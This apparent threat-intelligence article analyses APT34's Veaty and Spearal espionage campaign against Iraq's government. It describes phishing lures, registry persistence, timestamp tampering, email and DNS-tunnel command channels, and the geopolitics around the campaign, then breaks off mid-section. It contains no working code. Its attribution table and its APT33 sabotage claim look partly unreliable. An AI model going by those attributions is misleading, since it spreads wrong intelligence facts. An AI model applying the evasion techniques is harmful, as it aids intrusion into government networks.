The geopolitical landscape of the Middle East has long been a battleground for overt military conflicts and covert intelligence operations. In recent years, a new frontier of warfare has emerged in cyberspace, where state-sponsored actors deploy sophisticated malware to undermine national infrastructure, gain intelligence, and exert influence. One such group, APT34—also known as OilRig—has emerged as a formidable threat in the region. This article delves into the recent cyber espionage campaign launched by this group, focusing on the tactics, techniques, and geopolitical implications of its operations against the Iraqi government and regional targets.

The Iraqi government, struggling to maintain internal security and sovereignty, now faces a new adversary: a coordinated and persistent cyber assault from an Iranian-linked threat actor. In September 2024, Check Point Research (CPR) published a report outlining the details of this ongoing espionage campaign, marking another chapter in the long-standing tension between Iran and Iraq, and by extension, the broader Middle East. The campaign, attributed to APT34, sheds light on the evolving methods of cyber warfare employed by nation-states, and the critical need for heightened cybersecurity measures within government entities.

Iranian APT34 Attacks Around the World (Updated 2024)

Year	Country/Target	Attack Type	Key Malware Used	Methodology	Impact	Sources
2024	Iraq	Government Espionage	Veaty, Spearal	Phishing, DNS Tunneling, Email C2	Data theft from government ministries	Check Point Research​
2022	Jordan	Government Espionage	Saitama	DNS Tunneling, Email-based C2	Data exfiltration from political targets	Threat Analysis​
2020	Saudi Arabia & UAE	Telecom Sector Espionage	Karkoff, PowerExchange	Zero-day exploits, Phishing	Telecommunication data theft	Palo Alto Networks​
2019	Bahrain	Energy Sector Espionage	Shark	Watering-hole, DNS Tunneling	Energy sector infrastructure breach	Unit 42 Threat Report​
2021	Lebanon	Government Espionage	Karkoff, PowerExchange	Phishing, Steganography-based C2	Long-term email account compromise	Cyware Intelligence​
2021	United Kingdom	Energy Sector Espionage	MrPerfectionManager, Menorah	Phishing, HTTP backdoors	Energy grid data breach	Check Point​
2018	United States	Financial Sector Espionage	Marlin, Solar	Phishing, Email C2, Remote Commands	Financial records exfiltration	Cyware Intelligence​

Iranian Cyber Espionage: APT34’s Targeting and Techniques

APT34, often associated with Iran’s Ministry of Intelligence and Security (MOIS), has garnered attention for its focus on organizations primarily within the Middle East. The group’s operational history indicates a pattern of sophisticated attacks against governmental, military, and commercial targets in Iraq, Saudi Arabia, the United Arab Emirates, Jordan, and Lebanon, among other nations. APT34’s involvement in cyber espionage serves as a tactical extension of Iran’s foreign policy objectives, allowing the regime to gather intelligence and assert its influence across a politically volatile region.

The Iraqi government, as a pivotal player in Middle Eastern geopolitics, has become an attractive target for Iranian cyber operations. This latest wave of attacks marks a continuation of Iran’s long-standing strategy of utilizing cyber warfare to advance its national interests, particularly in relation to Iraq’s political and military infrastructure. With both countries sharing a complex history of conflict and cooperation, the cyber domain has become a crucial theater for Iran’s intelligence apparatus to exert pressure.

The Emergence of Veaty and Spearal Malware

At the core of this new campaign is the deployment of two newly identified malware families: Veaty and Spearal. These tools, according to the CPR report, bear significant overlaps with previously known malware strains such as Karkoff, Saitama, and IIS Group 2—all of which have been linked to APT34. The discovery of these malware families underscores the evolving nature of Iranian cyber capabilities, revealing a persistent and adaptive approach to espionage.

Veaty operates primarily through a custom email-based command and control (C2) mechanism, which relies on compromised email accounts within the targeted organization. By infiltrating an organization’s email infrastructure, the attackers can discreetly communicate with the infected system, exfiltrate data, and maintain a persistent presence within the network. This email-based C2 mechanism has proven to be highly effective in circumventing traditional security measures, particularly in environments where email traffic is ubiquitous.

On the other hand, Spearal utilizes a custom DNS tunneling protocol for its C2 communications, disguising its data transfers as legitimate DNS traffic. DNS tunneling is a particularly stealthy method of exfiltration, as it allows attackers to bypass network security systems that might otherwise detect anomalous traffic patterns. The use of these two distinct C2 mechanisms—email-based for Veaty and DNS-based for Spearal—demonstrates the adaptability of APT34’s toolset, allowing the group to target a wide array of network configurations and defenses.

Social Engineering: The Initial Infection Vector

The initial infection vector for these attacks is believed to have been a series of malicious files disguised as legitimate documents. Examples of these filenames include “Avamer.pdf.exe” and “Protocol.pdf.exe,” which were crafted to appear as standard PDF or document files but were in fact executable malware. In some instances, the infection chain began with the installation of an MSI package named “ncms_demo.msi.” These malicious files were first detected in March-May 2024, uploaded to VirusTotal from Iraqi networks, suggesting that the infection was the result of a targeted social engineering campaign.

Social engineering has become a hallmark of many advanced persistent threat (APT) groups, as it exploits the human element of security—often the weakest link in any system. By crafting emails or messages that appear to be from trusted sources, threat actors can trick individuals into opening malicious attachments, unwittingly initiating the malware’s execution. In this case, the attackers leveraged the logos and branding of legitimate Iraqi government entities to lend credibility to their malicious emails, increasing the likelihood of successful infiltration.

Once the initial infection was established, the malware executed a series of PowerShell or PyInstaller scripts that deployed the Veaty and Spearal payloads. These scripts manipulated file access times and added entries to the Windows registry to ensure persistence across system reboots. Such techniques are commonly used by APT actors to maintain long-term access to compromised systems, allowing them to continue their espionage activities without detection.

The Role of APT34 in Iran’s Strategic Goals

APT34, also known by other names such as OilRig, has been linked to multiple espionage operations across the Middle East. Its activities are believed to be closely aligned with the strategic objectives of the Iranian government, particularly the MOIS. By targeting governmental and military organizations in neighboring countries, APT34 has provided Iran with a steady stream of intelligence that informs its foreign policy decisions and military operations.

The geographic focus of APT34’s campaigns has consistently aligned with Iranian national interests, particularly in countries where Iran seeks to exert influence. Iraq, as a close neighbor and former adversary, represents a key area of focus for Iran’s intelligence apparatus. Since the fall of Saddam Hussein in 2003, Iran has sought to expand its influence in Iraq, both through political alliances and covert operations. Cyber espionage has become a vital tool in this effort, allowing Iran to gather intelligence on Iraqi political leaders, military operations, and economic activities.

In previous campaigns, APT34 has targeted a wide range of countries, including Saudi Arabia, the United Arab Emirates, Jordan, Lebanon, Qatar, and Turkey. The group’s activities have not been limited to the Middle East; APT34 has also been implicated in espionage operations against the United States and European countries. However, the group’s primary focus remains the Middle East, where Iran’s geopolitical ambitions are most concentrated.

Escalating Cyber Threats in the Middle East

The discovery of the Veaty and Spearal malware in Iraq is part of a broader trend of escalating cyber threats in the Middle East. Over the past decade, the region has witnessed a dramatic increase in state-sponsored cyberattacks, with Iran, Israel, Saudi Arabia, and the United Arab Emirates emerging as key players in this new domain of warfare. The increasing reliance on digital infrastructure for government operations, critical services, and military communications has made the region a prime target for cyber espionage and sabotage.

For Iran, cyber operations serve multiple strategic purposes. In addition to gathering intelligence, these operations allow Iran to undermine the stability of its adversaries, disrupt critical infrastructure, and project power without engaging in direct military conflict. The use of cyberattacks also provides Iran with a degree of plausible deniability, as attributing cyberattacks to specific actors is often challenging and time-consuming.

In Iraq, the ongoing campaign by APT34 highlights the vulnerability of government systems to state-sponsored cyberattacks. The use of advanced malware such as Veaty and Spearal underscores the sophistication of Iranian cyber operations, which have evolved significantly in recent years. These attacks are not isolated incidents; rather, they are part of a larger strategy to weaken Iraq’s sovereignty and increase Iran’s influence in the country’s internal affairs.

The Intersection of Cybersecurity and Geopolitics

The implications of these cyberattacks extend far beyond the technical realm of cybersecurity. As state-sponsored cyberattacks become more frequent and more sophisticated, they are increasingly seen as tools of geopolitical influence. The ongoing cyber campaign against Iraq exemplifies how cyber warfare can be used to further a nation’s strategic objectives without resorting to conventional military force.

For Iraq, the stakes are high. The country’s digital infrastructure is critical not only for government operations but also for its economy and national security. As cyberattacks become more common, the Iraqi government must invest in strengthening its cybersecurity capabilities to defend against these persistent threats. This includes not only technical measures such as firewalls and intrusion detection systems but also broader organizational changes to improve security awareness and response capabilities.

Iran’s cyber operations, meanwhile, are likely to continue as long as they serve the country’s geopolitical interests. The ability to conduct espionage, sabotage, and influence operations through cyberspace provides Iran with a powerful tool for achieving its regional objectives. As the geopolitical landscape of the Middle East continues to evolve, cyber warfare will play an increasingly central role in shaping the region’s future.

Preparing for the Future of Cyber Warfare

The discovery of the Veaty and Spearal malware is a stark reminder of the growing cyber threat facing governments and organizations in the Middle East. APT34’s ongoing campaign against the Iraqi government highlights the need for a comprehensive and coordinated response to state-sponsored cyberattacks. For Iraq and other countries in the region, strengthening cybersecurity defenses must be a top priority in the face of these persistent threats.

At the same time, the broader geopolitical implications of these cyberattacks cannot be ignored. As cyber warfare becomes an increasingly common tool of statecraft, countries must adapt to this new reality by developing the necessary technical, organizational, and diplomatic capabilities to defend against these attacks. In the case of Iraq, this means not only bolstering its own cybersecurity but also working with regional and international partners to address the shared threat posed by state-sponsored cyberattacks.

The campaign by APT34 is just one example of how nation-states are using cyber capabilities to achieve their strategic objectives. As the digital domain becomes ever more intertwined with traditional geopolitics, the line between peace and conflict will continue to blur. In this new era of cyber warfare, the ability to defend against and respond to cyberattacks will be a crucial determinant of national security and geopolitical influence.

APT34’s Expanding Arsenal: New Malware Families and Evolving Capabilities

The Veaty and Spearal malware families represent only a small part of a much larger arsenal that APT34 has developed over the years. As cybersecurity experts have revealed through extensive analysis of recent campaigns, APT34 continues to enhance its capabilities, making it increasingly difficult for security systems to detect or defend against these attacks. The group’s ability to evolve and deploy new tools speaks to both the technical sophistication and the substantial resources behind their operations, underscoring the seriousness of the threat posed by state-sponsored actors.

In particular, Veaty’s reliance on an email-based command and control (C2) mechanism highlights the growing trend among cyber attackers to exploit the weakest link in many security infrastructures: human behavior. By leveraging compromised email accounts, APT34 not only gains access to sensitive information but also builds a foothold in the network that can be maintained for long periods without raising alarms. The subtlety of this method allows attackers to remain undetected, sometimes for months or even years, harvesting valuable data and intelligence. This is particularly troubling in a governmental context, where sensitive national security or diplomatic communications may be compromised.

The deployment of Spearal, which uses DNS tunneling for communication, is similarly alarming. DNS traffic is typically seen as a low-risk protocol in most organizations, which makes it an ideal vector for malware developers. By disguising command and control traffic within seemingly innocuous DNS requests, Spearal is able to slip past many conventional network defenses undetected. The fact that the malware is encoded using a custom Base32 scheme further complicates detection efforts, as it requires specialized tools to identify the malicious traffic. Together, these techniques represent a significant escalation in APT34’s cyber capabilities, making them one of the most advanced state-sponsored threat actors currently active in the Middle East.

Iraq as a Strategic Target for Iranian Cyber Operations

Iraq’s vulnerability to cyberattacks can be attributed to several factors, not least of which is the country’s political and military importance in the region. Since the overthrow of Saddam Hussein in 2003, Iraq has been a focal point for regional and international powers, each seeking to exert influence over the country’s future. For Iran, Iraq represents both a neighbor and a strategic buffer zone—control over which could significantly enhance Tehran’s ability to project power across the Middle East.

Iran’s interest in Iraq extends beyond traditional military and political influence. Through cyber espionage, Iran has been able to gather intelligence that is critical for its strategic objectives, whether in supporting Shia militias within Iraq or undermining U.S. and Western influence in the region. As such, Iraq has been one of the primary targets of Iranian cyber operations for years, with the latest campaign being only the most recent in a long series of attacks.

APT34’s campaign against Iraqi government infrastructure is not only an espionage mission but also a broader effort to disrupt Iraq’s ability to function as an independent state. By attacking government networks, stealing sensitive data, and potentially corrupting critical systems, Iran can weaken Iraq from within, making it more reliant on Tehran and reducing its capacity to align with adversaries, including Saudi Arabia and the United States. This campaign fits into Iran’s broader strategy of asymmetric warfare, where direct military engagement is avoided in favor of more covert and deniable operations, such as cyberattacks.

The Broader Middle East Cyber Warfare Context

APT34’s attacks on Iraq are symptomatic of a broader regional trend where cyber warfare has become a key tool in geopolitical conflicts. The Middle East, due to its significant political, economic, and military importance, has become one of the most cyber-active regions in the world. Alongside Iran, countries such as Israel, Saudi Arabia, and the UAE have developed advanced cyber capabilities, and these nations are frequently both the targets and perpetrators of state-sponsored cyberattacks.

Iran’s cyber strategy is particularly focused on leveraging its capabilities to disrupt the influence of its regional adversaries. Saudi Arabia, for instance, has been a frequent target of Iranian cyber operations, particularly through groups like APT34 and APT33 (another Iranian-linked group). In 2017, APT33 was linked to cyberattacks against Saudi petrochemical firms, disrupting production and damaging critical industrial control systems. This use of cyberattacks to target critical infrastructure demonstrates the seriousness with which Iran views cyber warfare as a means to achieve its regional objectives.

Moreover, Iran’s cyber operations have a dual function: they serve not only to gather intelligence but also to undermine the confidence of rival governments in their ability to defend themselves. By consistently targeting Iraqi, Saudi, and Emirati networks, Iran is sending a message that no regional actor is safe from its reach. This has significant implications for regional stability, as the constant threat of cyberattacks increases tensions and raises the possibility of retaliatory actions, both in cyberspace and in the physical world.

The broader implications of this cyber conflict extend far beyond the Middle East. As the region becomes a testing ground for advanced cyber weapons, the lessons learned here will likely be applied elsewhere. State-sponsored cyber groups like APT34 are not only tools of Iranian foreign policy but also global actors in the expanding world of cyber espionage. Their tactics, techniques, and procedures (TTPs) are studied by other nations and non-state actors, potentially leading to the proliferation of similar cyber capabilities across the globe. This makes the study of groups like APT34 critical for understanding the future of cyber warfare.

Attribution and the Challenges of Cyber Warfare

One of the key difficulties in addressing state-sponsored cyberattacks is attribution. While there is little doubt that APT34 is an Iranian-linked group, the complex and often opaque nature of cyber operations makes it difficult to conclusively prove the involvement of specific actors. This is a problem faced not only by Iraq but by countries around the world that are targeted by state-sponsored cyberattacks.

Iran, like other nations involved in cyber warfare, benefits from the ambiguity of attribution. Even when groups like APT34 are identified, the Iranian government can deny any direct involvement, claiming that the group is independent or that the attacks were the work of rogue elements. This plausible deniability is one of the main reasons why cyber warfare has become such an attractive option for state actors—it allows them to carry out operations that would otherwise be seen as acts of war without risking direct military confrontation.

For the targeted nations, the difficulty in proving attribution can complicate efforts to respond effectively. Iraq, for example, may know that Iran is behind the attacks but lacks the hard evidence needed to bring the matter before international bodies such as the United Nations. Even when evidence is available, the international community is often reluctant to take strong action against state-sponsored cyberattacks, as the global framework for dealing with cyber warfare is still in its infancy. This creates an environment in which cyberattacks can be carried out with relatively little risk of meaningful retaliation, further emboldening state actors like Iran to continue their operations.

Countermeasures and the Future of Cyber Defense in Iraq

In light of the increasing threat posed by state-sponsored cyberattacks, Iraq faces a critical need to enhance its cybersecurity defenses. While the country has made some progress in recent years, its cybersecurity infrastructure remains underdeveloped compared to many of its neighbors. The ongoing campaign by APT34 demonstrates the urgency of this issue, as Iraqi government networks have proven vulnerable to infiltration by advanced malware like Veaty and Spearal.

One of the first steps Iraq must take is to improve its detection capabilities. Many of the advanced malware families used by APT34 are designed to evade traditional security systems, making it difficult to detect an infection before significant damage has been done. To counter this, Iraq will need to invest in more sophisticated intrusion detection systems (IDS) and endpoint detection and response (EDR) tools. These technologies can help identify unusual patterns of behavior within a network, alerting security teams to the presence of malware even if the malware itself has not been flagged by antivirus software.

In addition to technical improvements, Iraq must also focus on building a culture of cybersecurity awareness. Many of the initial infections in the APT34 campaign were the result of social engineering, where individuals were tricked into opening malicious files. To combat this, the Iraqi government should implement comprehensive training programs for government employees, teaching them how to recognize phishing attempts and other forms of social engineering. By reducing the likelihood of human error, Iraq can make it more difficult for APT34 and similar groups to gain an initial foothold in government networks.

International cooperation will also be essential in strengthening Iraq’s cybersecurity posture. The nature of state-sponsored cyberattacks means that no single country can effectively defend itself in isolation. Iraq will need to work closely with its regional allies and international partners to share intelligence, develop joint defense strategies, and coordinate responses to future attacks. This could involve working with global cybersecurity organizations, as well as forming bilateral partnerships with countries like the United States, which has a vested interest in maintaining the security of Iraq’s digital infrastructure.

The Global Ramifications of Middle East Cyber Conflicts

The cyber conflict in the Middle East is not confined to the region; it has profound implications for global cybersecurity. As APT34 and other Iranian-linked groups refine their techniques, the lessons they learn from their operations in Iraq and other Middle Eastern countries will be applied to cyberattacks against targets worldwide. This means that the tools and tactics developed in the Middle East could eventually be used against organizations and governments in Europe, Asia, and the Americas.

For this reason, it is essential that the global cybersecurity community pays close attention to the evolving threat landscape in the Middle East. By studying the activities of groups like APT34, cybersecurity professionals can develop more effective defense strategies and tools to protect against similar attacks. The lessons learned from defending against Iranian cyber operations in Iraq can inform global best practices for cybersecurity, helping to protect critical infrastructure and sensitive data from future attacks.

A Continuous Threat That Requires Immediate Action

The recent APT34 cyber espionage campaign against Iraq is a stark reminder of the ever-present threat posed by state-sponsored cyberattacks. As this article has demonstrated, Iranian-linked groups like APT34 are using increasingly sophisticated tools and techniques to infiltrate government networks, steal sensitive data, and undermine regional stability. For Iraq, the implications are clear: without significant improvements to its cybersecurity infrastructure, the country will remain vulnerable to future attacks, with potentially devastating consequences for its sovereignty and national security.

At the same time, the broader international community must recognize the importance of the Middle East in the global cyber warfare landscape. The lessons learned from defending against attacks in this region will be critical for the development of effective global cybersecurity strategies. As cyber warfare continues to evolve, it is essential that governments, organizations, and individuals take proactive steps to protect themselves from the growing threat of state-sponsored cyberattacks. Only through a coordinated, multi-faceted approach can the world hope to defend against the sophisticated cyber weapons being deployed by groups like APT34.

The International Implications of Cyber Espionage and Intelligence Gathering

APT34’s campaign against the Iraqi government not only sheds light on Iran’s operational capabilities but also raises significant concerns about the larger global trend of cyber-enabled espionage. In an interconnected digital world, cyber espionage has become a principal tool for nations seeking to advance their strategic objectives without risking open conflict. This method allows states to gather information on sensitive political, military, and economic activities. What makes cyber espionage particularly appealing is its capacity for persistent, covert operations across borders and among allies, without the limitations imposed by physical proximity.

One critical implication of the APT34 campaign is how it underscores the way cyber operations can act as extensions of traditional espionage practices. Historically, intelligence services would rely on human agents to penetrate sensitive networks or gather intelligence. While traditional espionage is still vital, the digital age has expanded the scope and efficiency of intelligence gathering. The emergence of tools like Veaty and Spearal reflects the increasing use of malware to replace or supplement human operatives. This allows for a much larger operational reach, often spanning multiple countries, organizations, and systems simultaneously, making it far harder to detect or mitigate.

In the case of APT34, the Iraqi government is just one among many targets. The campaign has broader ramifications, indicating that similar methods are likely being employed against multiple governments and institutions in parallel, allowing for real-time intelligence collection that informs national strategy. Intelligence gathered via these methods can be crucial for Iran’s decision-making process, not only in Iraq but across the broader Middle East, where Tehran’s influence is a major geopolitical factor.

Legal and Ethical Challenges in Defending Against State-Sponsored Attacks

The APT34 operation brings to the forefront the complex legal and ethical challenges posed by cyber warfare. Defending against state-sponsored attacks such as these is not only a technical battle but also one fraught with legal ambiguities. International law, particularly the law of armed conflict, is not fully developed in the realm of cyberspace, making it difficult to classify when a cyberattack constitutes an act of war, an espionage operation, or simply a criminal intrusion.

For countries like Iraq, which are frequently targeted, this raises critical questions about how to respond. In traditional warfare, nations have the right to defend themselves when attacked, but cyberattacks often operate in a gray zone. The lines between espionage, sabotage, and warfare are increasingly blurred. Governments may find it difficult to attribute attacks conclusively, complicating the legal framework for retaliation or defense. Moreover, responses to cyberattacks must be carefully measured to avoid escalating conflicts unintentionally.

One major challenge is the lack of clear international agreements on what constitutes a proportionate response to a cyberattack. In the absence of consensus, individual nations may develop their own doctrines, which could lead to inconsistent and potentially dangerous outcomes. For example, a country may decide that a particular cyber espionage campaign justifies a retaliatory strike—either in cyberspace or through conventional military means. Without clear international laws or treaties governing cyber operations, these actions could escalate quickly, leading to broader regional or even global conflicts.

In this context, Iraq’s ability to defend itself in cyberspace is not only about deploying more robust cybersecurity measures but also about engaging in diplomatic initiatives to shape the international legal framework. Building coalitions with other nations that are similarly affected by state-sponsored cyberattacks, such as the United Arab Emirates, Jordan, or Saudi Arabia, could provide the necessary momentum to push for clearer legal norms. These coalitions could also help enhance Iraq’s defensive capabilities by sharing intelligence and best practices for mitigating sophisticated threats like APT34.

Economic and Infrastructure Vulnerabilities in the Face of Cyber Warfare

In the digital age, the targeting of government entities by state-sponsored actors extends beyond traditional espionage. Attacks like those conducted by APT34 often have broader economic and infrastructural consequences that can undermine the stability and functionality of a nation. In Iraq’s case, the malware deployed against its government systems could easily be adapted to target critical infrastructure sectors such as energy, finance, and transportation. The increasing interconnectivity of these systems, while beneficial for efficiency, also makes them highly vulnerable to sophisticated cyber operations.

Given Iraq’s dependence on its oil sector for economic survival, targeted cyberattacks against the country’s energy infrastructure could be devastating. Iran has previously demonstrated a willingness to use cyberattacks against energy infrastructure, as evidenced by the activities of APT33, another Iranian-linked group responsible for the 2017 attack on Saudi Aramco’s petrochemical facilities. If APT34 were to expand its focus from espionage to sabotage, Iraq’s already fragile economy could suffer significant damage. This possibility emphasizes the need for cyber resilience in critical infrastructure sectors, not just government institutions.

Moreover, the potential for economic manipulation through cyberattacks is becoming a growing concern. By infiltrating financial systems, state-sponsored actors can disrupt markets, steal funds, or manipulate economic data. In Iraq’s case, the instability created by such disruptions could have long-term implications for foreign investment and economic recovery efforts. As Iraq continues to rebuild after decades of conflict, maintaining trust in the integrity of its financial and industrial systems is paramount. The erosion of this trust through cyberattacks could delay or derail recovery efforts.

While Iraq faces the immediate threat of espionage, the broader concern is the evolving nature of cyberattacks themselves. APT34’s campaign may focus on data theft and intelligence collection today, but tomorrow it could shift to direct sabotage of vital infrastructure. This makes the need for multi-layered cybersecurity defenses all the more critical. Iraq must not only focus on preventing initial intrusions but also on ensuring that its critical infrastructure can withstand and recover from cyberattacks when they occur.

Role of Cybersecurity Firms and International Cooperation in Defending Against APT34

The APT34 operation against Iraq has underscored the vital role that private cybersecurity firms, like Check Point, play in identifying and mitigating threats posed by state-sponsored actors. In today’s interconnected world, the private sector often possesses the resources and expertise needed to detect advanced threats that may evade government detection systems. Companies specializing in cybersecurity have access to global threat intelligence networks that provide insights into ongoing campaigns, enabling them to alert affected governments in real time.

Check Point’s detailed analysis of Veaty and Spearal illustrates how public-private partnerships are becoming essential in modern cybersecurity defense. Governments, particularly those in developing nations like Iraq, often lack the technical resources needed to track sophisticated attackers like APT34. By leveraging the expertise of private firms, Iraq can significantly enhance its ability to detect and respond to cyber threats. Moreover, these partnerships can provide access to cutting-edge technologies and tools that would otherwise be out of reach for many governments.

Beyond private sector cooperation, international partnerships remain a cornerstone of effective cyber defense. As APT34 continues to target countries across the Middle East, Iraq stands to benefit from closer collaboration with regional and global cybersecurity entities. Intelligence sharing with countries that have been targeted by similar Iranian operations—such as Saudi Arabia, Israel, and the UAE—can provide critical insights into the tactics and techniques employed by Iranian-linked groups. Collaborative efforts to track command-and-control (C2) infrastructure, shared malware signatures, and analysis of attack patterns can help preempt future attacks.

Moreover, Iraq could benefit from engaging with international organizations like INTERPOL, NATO’s Cooperative Cyber Defence Centre of Excellence (CCDCOE), and the United Nations. These organizations not only provide platforms for sharing information but also offer capacity-building programs designed to strengthen national cybersecurity defenses. By participating in these programs, Iraq can better position itself to defend against future cyber threats, ensuring that its critical infrastructure and government systems are protected.

The Geopolitical Implications of Persistent Cyber Threats

The repeated targeting of Iraq by Iranian-linked cyber actors such as APT34 has significant geopolitical ramifications that extend beyond the immediate scope of espionage. Iraq’s political alignment is of major importance in the Middle East, where the balance of power is constantly shifting. Cyberattacks, therefore, play an integral role in shaping the region’s political landscape, especially as countries use cyber capabilities to achieve objectives that would be too risky or costly through conventional means.

By undermining Iraq’s governmental infrastructure, Iran seeks to weaken the country’s ability to assert its sovereignty and independence. This aligns with Tehran’s broader strategy of creating a political and military buffer zone that can serve its regional interests, particularly in countering U.S. influence. Iran’s cyber activities are not limited to espionage—they also aim to destabilize political opponents and promote pro-Iranian factions within Iraq. This tactic serves as a critical component of Iran’s broader influence operations, which include not just cyberattacks but also political, military, and economic tools.

For other regional powers, particularly Saudi Arabia and Israel, the persistent cyber threat from Iran is equally concerning. Both countries view Iranian cyber operations as a direct threat to their national security. Israel, in particular, has been a frequent target of Iranian-linked cyberattacks, especially during periods of heightened conflict with Palestinian groups like Hamas, which is supported by Iran. Saudi Arabia, too, has seen its critical infrastructure repeatedly targeted by Iranian-linked groups, raising concerns about the safety and security of its economic lifelines, including the oil industry.

These attacks highlight how cyber warfare has become a core element of modern geopolitical competition. As nations increasingly rely on digital networks to conduct their military, economic, and political affairs, the ability to disrupt or control these networks becomes a powerful tool of statecraft. In the Middle East, where traditional conflicts continue to play out alongside digital ones, the lines between cyber operations and conventional warfare are blurring, making it more difficult for nations to defend against threats.

The long-term consequences of these cyber operations could further destabilize the region, especially as more actors develop sophisticated offensive capabilities. Iraq, as a key battleground in this cyber conflict, finds itself at the center of a geopolitical struggle that involves not only Iran but also the broader international community. As such, Iraq must position itself as a resilient player in this evolving domain, ready to defend its sovereignty in the face of persistent cyber threats.

Preparing Iraq for the Future of Cyber Warfare

Given the escalating complexity of cyber threats in the Middle East, it is clear that Iraq must adopt a forward-looking approach to cybersecurity. The Veaty and Spearal malware families, along with the broader APT34 campaign, have revealed critical vulnerabilities in Iraq’s digital defenses that must be addressed. However, Iraq’s response must go beyond reactive measures; it must build a proactive and strategic defense posture that accounts for the evolving nature of cyber warfare.

First, Iraq should focus on developing a national cybersecurity strategy that aligns government entities, critical infrastructure providers, and the private sector around common goals. This strategy should emphasize both the prevention of cyberattacks and the ability to respond quickly when incidents occur. A central component of this strategy should include incident response planning that outlines clear protocols for handling breaches, conducting forensic investigations, and coordinating recovery efforts.

Second, Iraq must invest in cybersecurity education and workforce development. Building a skilled cybersecurity workforce is critical for ensuring that the country can defend against future threats. Training programs, certifications, and collaborations with international universities and cybersecurity firms can help Iraq develop the expertise needed to tackle sophisticated attacks like those orchestrated by APT34. By creating a pipeline of skilled professionals, Iraq can better equip itself to face the growing challenges of cyber warfare.

Finally, Iraq’s cybersecurity efforts must be part of a broader international dialogue. As state-sponsored cyberattacks become increasingly global in nature, Iraq must engage with the international community to help shape the future of cyber warfare norms, treaties, and defensive frameworks. Only through a collaborative and concerted global effort can countries like Iraq hope to defend themselves against the next generation of cyber threats.

A Detailed Breakdown of APT34’s Attack on Iraq: Technical Insights into Each Stage of the Operation

The attack on Iraqi government infrastructure by APT34 is not just a random cyber event—it is a meticulously orchestrated campaign that follows a precise sequence of technical actions designed to infiltrate, persist, and extract valuable data while avoiding detection. This section will provide an exhaustive, technical analysis of each step taken by APT34, from initial infection vectors to final data exfiltration, leveraging the tools and techniques associated with the Veaty and Spearal malware families. The campaign demonstrates a sophisticated understanding of Iraq’s government networks, its vulnerabilities, and the types of data that would be of most interest to Iranian intelligence services.

1. Initial Infection: Social Engineering and Delivery of Malicious Files

The first step in the APT34 campaign involves crafting and delivering carefully tailored phishing emails to specific targets within the Iraqi government. These emails were made to look legitimate by using official government logos, seals, and other markers of authenticity to increase their likelihood of success.

• Malicious file types: The emails contained files with double extensions, designed to look like harmless documents. Examples of these filenames include Avamer.pdf.exe, Protocol.pdf.exe, and IraqiDoc.docx.rar. These files exploit user ignorance of file extensions, tricking the target into believing they are interacting with a document rather than an executable.
• Other vectors: Another method of infection observed during this campaign involved the distribution of a malicious MSI installer, named ncms_demo.msi. This MSI file was disguised to appear as a legitimate software installer, further enhancing the attackers’ chances of bypassing initial suspicion.
• Payload delivery: Once the malicious file was executed by the victim, PowerShell and PyInstaller scripts were launched. These scripts deployed the malware by downloading additional payloads, creating persistence mechanisms, and setting up communication channels with the Command and Control (C2) infrastructure.

2. Malware Deployment: Veaty and Spearal

APT34 deployed two primary malware families—Veaty and Spearal—as the core tools in their campaign. Each of these malware families was designed to handle specific tasks within the compromised system.

Veaty: Email-based Command and Control (C2)

Veaty operates using a custom email-based C2 mechanism, which leverages compromised email accounts within the targeted organization. The malware interacts with the Exchange server of the Iraqi government using several hardcoded configurations.

• Disabling SSL verification: Upon deployment, Veaty immediately disables SSL certificate verification, allowing it to communicate with the C2 server without being flagged by typical security measures that rely on trusted certificate chains.
• C2 communication channels: The Veaty malware has multiple modes of communication based on hardcoded credentials and internal domain values. It attempts to communicate with specific email servers using various flags, such as try_defaultcred, try_hardcodedCreds, and try_externalCreds. If one of these methods fails, it moves on to the next, ensuring that the malware can establish communication regardless of initial connection issues.
• Command execution: Once the communication channel is established, the malware receives instructions from its C2 through email messages, which are organized based on predefined rules. Commands can be embedded in the subject line or the body of the email. Veaty uses AES-encrypted communications, ensuring that even if the traffic is intercepted, the actual commands remain hidden from network analysts.

Spearal: DNS Tunneling and Covert Data Transfer

Spearal, on the other hand, uses a custom DNS tunneling protocol for its C2 communications. This method is particularly stealthy, as DNS traffic is often considered low-risk by security monitoring tools.

• Base32 encoding for commands: Spearal encodes its communications using a custom Base32 scheme to disguise commands within DNS queries. The malware generates DNS requests that look like legitimate traffic but contain embedded commands sent to the C2 server. The use of a Base32 scheme helps to obfuscate the malware’s real intentions from network intrusion detection systems.
• DNS traffic as a disguise: By disguising malicious communications as regular DNS queries, Spearal avoids raising alarms within the organization’s security infrastructure. The DNS protocol, while essential for resolving domain names, is often overlooked as a potential carrier of malware C2 traffic.
• Data exfiltration: Spearal can receive commands such as file uploads, downloads, and PowerShell executions via this DNS tunnel. For example, if the malware is instructed to upload a file, it will encode the file’s data into a series of DNS queries, each of which is routed to the C2 server. The C2 server then reassembles the file based on the chunks received through the DNS requests.

3. Persistence: Registry Modifications and File Timestamp Manipulation

APT34 ensures persistence on compromised machines by manipulating registry entries and modifying file timestamps. This allows the malware to survive reboots and other temporary disruptions.

• Registry modifications: The deployment scripts for Veaty and Spearal create new entries in the Windows registry, specifically under \CurrentVersion\Run. This ensures that the malware is executed each time the system starts. The malware is also configured to mimic legitimate services or applications, making detection even harder.
• Timestamp manipulation: The malware modifies the LastAccessTime and LastWriteTime of files it creates or uses. By backdating these times, the malware can hide its presence from forensic investigators who may look for recently modified files as part of their analysis. This tactic complicates the timeline of events and provides cover for the attacker’s activities.

4. Command and Control: Interaction Between Malware and C2 Server

Once the malware establishes persistence, it begins continuous communication with the C2 infrastructure. Each malware family has its own specialized interaction model with the C2 server, ensuring versatility and redundancy in the campaign.

• Veaty C2 interaction: Using compromised email accounts, Veaty receives commands embedded within specific email messages. These commands are hidden in the subject or body, based on configurations found within the malware. Veaty is capable of executing various tasks, such as uploading or downloading files, executing PowerShell scripts, and sending system information back to the C2 server.
• Spearal C2 interaction: Spearal communicates using DNS queries. For example, to request a list of commands from the C2 server, Spearal sends a DNS query that contains the request base32encode("cmd:;<target_comm_id>"). The response from the server, disguised as a standard DNS response, contains the encrypted commands to be executed by the malware.

5. Data Exfiltration: Extraction and Delivery of Sensitive Information

The primary goal of the APT34 campaign was to extract sensitive information from Iraqi government systems. Both Veaty and Spearal are equipped to handle data exfiltration in covert ways, using their respective C2 mechanisms.

• Veaty data exfiltration: Veaty uses email attachments to send stolen data back to the C2 server. The malware compiles sensitive documents, encrypts them with AES, and then sends them as email attachments to predefined addresses controlled by the attackers.
